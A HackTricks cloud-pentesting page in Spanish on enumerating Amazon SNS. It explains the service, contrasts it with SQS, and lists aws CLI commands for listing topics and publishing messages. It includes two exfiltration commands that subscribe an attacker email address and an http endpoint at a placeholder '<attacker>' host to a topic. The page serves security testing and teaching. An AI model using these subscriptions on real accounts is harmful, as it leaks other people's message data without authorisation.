AWS - SNS Enum

Apoya a HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) se describe como un servicio de mensajería totalmente gestionado. Soporta tanto comunicación de aplicación a aplicación (A2A) como comunicación de aplicación a persona (A2P).

Las características clave para la comunicación A2A incluyen mecanismos de publicación/suscripción (pub/sub). Estos mecanismos introducen temas, cruciales para habilitar una mensajería de alta capacidad, basada en push, de muchos a muchos. Esta característica es altamente ventajosa en escenarios que involucran sistemas distribuidos, microservicios y arquitecturas sin servidor impulsadas por eventos. Al aprovechar estos temas, los sistemas publicadores pueden distribuir mensajes de manera eficiente a una amplia gama de sistemas suscriptores, facilitando un patrón de mensajería de difusión.

Diferencia con SQS

SQS es un servicio basado en colas que permite la comunicación punto a punto, asegurando que los mensajes sean procesados por un único consumidor. Ofrece entrega al menos una vez, soporta colas estándar y FIFO, y permite la retención de mensajes para reintentos y procesamiento retrasado. Por otro lado, SNS es un servicio basado en publicación/suscripción, que permite la comunicación de uno a muchos al transmitir mensajes a múltiples suscriptores simultáneamente. Soporta varios puntos de suscripción como email, SMS, funciones Lambda y HTTP/HTTPS, y proporciona mecanismos de filtrado para la entrega de mensajes dirigida. Mientras que ambos servicios permiten desacoplar componentes en sistemas distribuidos, SQS se enfoca en la comunicación en cola, y SNS enfatiza los patrones de comunicación impulsados por eventos y de difusión.

Enumeración

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Note que si el tema es de tipo FIFO, solo se pueden usar suscriptores que utilicen el protocolo SQS (HTTP o HTTPS no se pueden usar).

Además, incluso si el --topic-arn contiene la región, asegúrese de especificar la región correcta en --region o recibirá un error que parece indicar que no tiene acceso, pero el problema es la región.

Acceso No Autenticado

AWS - SNS Unauthenticated Enum

Escalada de Privilegios

AWS - SNS Privesc

Post Explotación

AWS - SNS Post Exploitation

Persistencia

AWS - SNS Persistence

Referencias

Apoya HackTricks

Last updated